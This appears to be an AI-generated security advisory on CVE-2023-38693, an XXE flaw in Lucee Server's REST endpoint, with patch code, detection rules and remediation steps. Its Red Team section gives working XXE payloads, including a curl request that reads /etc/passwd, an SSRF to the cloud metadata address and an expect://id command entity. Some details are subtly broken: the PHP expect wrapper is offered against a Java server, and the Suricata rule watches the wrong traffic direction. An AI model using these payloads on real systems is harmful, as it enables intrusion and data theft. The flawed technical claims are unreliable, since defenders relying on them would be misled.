CVE-2023-38693

Executive Summary

CVE-2023-38693 is a critical Remote Code Execution (RCE) vulnerability in the Lucee Server, a dynamic, Java-based tag and scripting language used for rapid web application development. The vulnerability resides in the Lucee REST endpoint, which is susceptible to an XML External Entity (XXE) injection attack. An unauthenticated attacker can exploit this flaw to read arbitrary files, perform server-side request forgery (SSRF), and ultimately achieve remote code execution. The CVSS score is 9.8 (Critical), and the vulnerability affects multiple versions of Lucee prior to the patched releases. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the technical severity remains high. No public exploit code or Nuclei templates are available at this time, but the vulnerability is well-documented and can be weaponized with standard XXE techniques.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a Java-based application server vulnerability. However, organizations using Lucee as part of their web application stack should treat this as a critical supply chain risk, as the compromised server can lead to lateral movement and data exfiltration.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability. An attacker can execute arbitrary code without authentication, making this a prime target for initial access in ransomware campaigns or data breaches.

Deep Dive & Mechanics

The vulnerability is an XML External Entity (XXE) injection in the Lucee REST endpoint. Lucee processes XML data from REST API requests. When the XML parser is not properly configured to disable external entity processing, an attacker can inject a malicious DOCTYPE declaration that references an external entity. This entity can point to a local file (e.g., /etc/passwd) or an external URL, leading to file disclosure or SSRF. In more advanced scenarios, the attacker can leverage the XXE to trigger a deserialization attack or use the expect PHP wrapper (if PHP is present) to execute arbitrary commands. Since Lucee is Java-based, the XXE can also be used to read sensitive files like configuration files containing credentials, or to perform a blind XXE to exfiltrate data via out-of-band channels.

The vulnerable code is in the XML parsing logic of the REST endpoint. The parser is instantiated without disabling DTDs and external entities. The fix involves configuring the XML parser to disable external entity processing by setting the javax.xml.parsers.DocumentBuilderFactory features http://apache.org/xml/features/disallow-doctype-decl to true and http://xml.org/sax/features/external-general-entities to false.

Vulnerable vs. Patched Code

Vulnerable Code (Java):

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));

Patched Code (Java):

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));

The patched code explicitly disables DTDs and external entities, preventing XXE attacks.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Lucee instance (e.g., Lucee 5.3.6.61) on a local VM or Docker container.
2. Ensure the REST endpoint is enabled and accessible (e.g., /rest/).
3. Use a tool like Burp Suite or curl to send malicious XML payloads.

Exploitation Steps:

1. File Disclosure: Send a POST request to the REST endpoint with a malicious XML payload.

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE foo [
     <!ENTITY xxe SYSTEM "file:///etc/passwd">
   ]>
   <root>&xxe;</root>
   

   curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>' http://target/rest/endpoint
   

2. SSRF: Use the XXE to make the server request an internal resource.

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE foo [
     <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
   ]>
   <root>&xxe;</root>
   

3. RCE via XXE (if PHP is present): Use the expect wrapper.

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE foo [
     <!ENTITY xxe SYSTEM "expect://id">
   ]>
   <root>&xxe;</root>
   

Note: For Java-based RCE, an attacker might combine XXE with deserialization or use the XXE to write a webshell to the filesystem if the server has write permissions.

Blue Team

Detection:

• Monitor for XML payloads containing <!DOCTYPE, <!ENTITY, or SYSTEM in HTTP requests to REST endpoints.
• Look for outbound connections from the Lucee server to unexpected IPs or domains (SSRF indicator).
• Check for file read attempts by monitoring access to sensitive files like /etc/passwd, /etc/shadow, or application configuration files.

Hunting:

• Search logs for XML parsing errors or exceptions related to DocumentBuilder.
• Use network monitoring to detect SSRF attempts (e.g., requests to cloud metadata endpoints).
• Correlate with file integrity monitoring (FIM) alerts on critical system files.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with Content-Type: application/xml containing <!DOCTYPE and <!ENTITY declarations.
  • Outbound connections from the Lucee server to internal IPs (e.g., 169.254.169.254) or external attacker-controlled servers.
  • Unusual DNS queries for internal hostnames or external domains.

• File IOCs:

  • Presence of unexpected files in the Lucee webroot (e.g., webshells).
  • Modified configuration files (e.g., lucee-server.xml, web.xml).

• Process IOCs:

  • Java processes spawning child processes (e.g., cmd.exe, /bin/sh).
  • High CPU or memory usage by the Lucee process.

• Log IOCs:

  • XML parsing errors in Lucee logs.
  • Access to sensitive files via the REST endpoint.

Detection Engineering

YARA Rule

rule CVE_2023_38693_XXE_Lucee {
    meta:
        description = "Detects XXE payloads targeting Lucee REST endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-38693"
    strings:
        $xml_doctype = /<!DOCTYPE\s+\w+\s+\[/
        $entity_system = /<!ENTITY\s+\w+\s+SYSTEM\s+["']/
        $file_protocol = /file:\/\//
        $http_protocol = /http:\/\//
    condition:
        all of them
}

Sigma Rule

title: CVE-2023-38693 Lucee XXE Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XXE payloads in HTTP requests to Lucee REST endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/rest/'
        cs-content-type: 'application/xml'
        cs-body|contains|all:
            - '<!DOCTYPE'
            - '<!ENTITY'
            - 'SYSTEM'
    condition: selection
falsepositives:
    - Legitimate XML processing with DTDs (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-38693 Lucee XXE Exploitation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/rest/"; http_uri; content:"application/xml"; http_content_type; content:"<!DOCTYPE"; http_client_body; content:"<!ENTITY"; http_client_body; content:"SYSTEM"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Lucee 5.4.3.2, 5.3.12.1, 5.3.7.59, 5.3.8.236, or 5.3.9.173.
2. Workaround: If patching is not immediately possible, disable the REST endpoint or restrict access to it via firewall rules or web server configuration (e.g., .htaccess or nginx location block).
3. Input Validation: Implement a Web Application Firewall (WAF) rule to block XML payloads containing <!DOCTYPE, <!ENTITY, or SYSTEM declarations.

Long-term Mitigations:

• Apply the principle of least privilege to the Lucee process (e.g., run as a non-root user).
• Use a properly configured XML parser that disables external entities by default.
• Regularly update Lucee and all dependencies.
• Monitor for unusual outbound connections from the application server.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.